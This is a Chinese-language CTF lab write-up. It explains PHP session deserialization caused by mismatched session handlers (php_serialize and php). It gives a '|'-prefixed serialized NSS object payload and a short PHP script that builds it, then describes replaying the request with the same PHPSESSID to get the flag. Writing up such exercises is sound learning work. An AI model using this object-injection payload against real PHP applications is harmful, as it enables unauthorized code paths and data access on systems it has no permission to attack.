
1.打开靶场,提示session反序列化
1 2 3 4 5 6 7
| session反序列化触发条件为:处理session处理器不同导致格式混用
php处理session时有两个动作 1.存储:脚本结束时把$_SESSION数组序列化为字符串存入文件 2.读取:脚本开始时把文件理的字符串反序列化回$_SESSION数组
若存储的页面和读取的页面的session处理器不同,则会导致session反序列化
|
2.查看index2.php文件,可以看到两个页面session处理器不一样
1 2 3
| 当在第一个页面传入a=|O:3:"NSS":1:{s:3:"ctf";s:3:"env";}时 php_serialize会把a:1:{s:4:"name";s:34:"|O:3:"NSS":1:{s:3:"ctf";s:3:"env";}";}存入session文件 当访问第二个页面执行session_start()时,会先查看有没有PHPSESSID,有则sess_<SESSID>文件,将文件内容反序列化读出,而php处理器会寻找第一个'|',找到后会把内容看成“键名|序列化值”,在这里他会将O:3:"NSS":1:{s:3:"ctf";s:3:"env";}";}看成序列化值(后面的“;}”看成垃圾字符),然后反序列化读出,造成漏洞
|

3.返回第一个页面,将其抓包

4.发送到重发器

根据index2.php写一个序列化脚本
1 2 3 4 5 6 7 8 9 10
| <?php class NSS { public $ctf; } $a=new NSS; $a->ctf = 'env'; echo $b=serialize($a); echo strlen($b);
|
5.在序列化好的字符串前面加上’|‘,进行get传参
要用相同的PHPSESSID访问两个页面,不然在index.php上传的数据不会在index2.php读出

6.修改请求头访问index2.php

查看响应得到flag
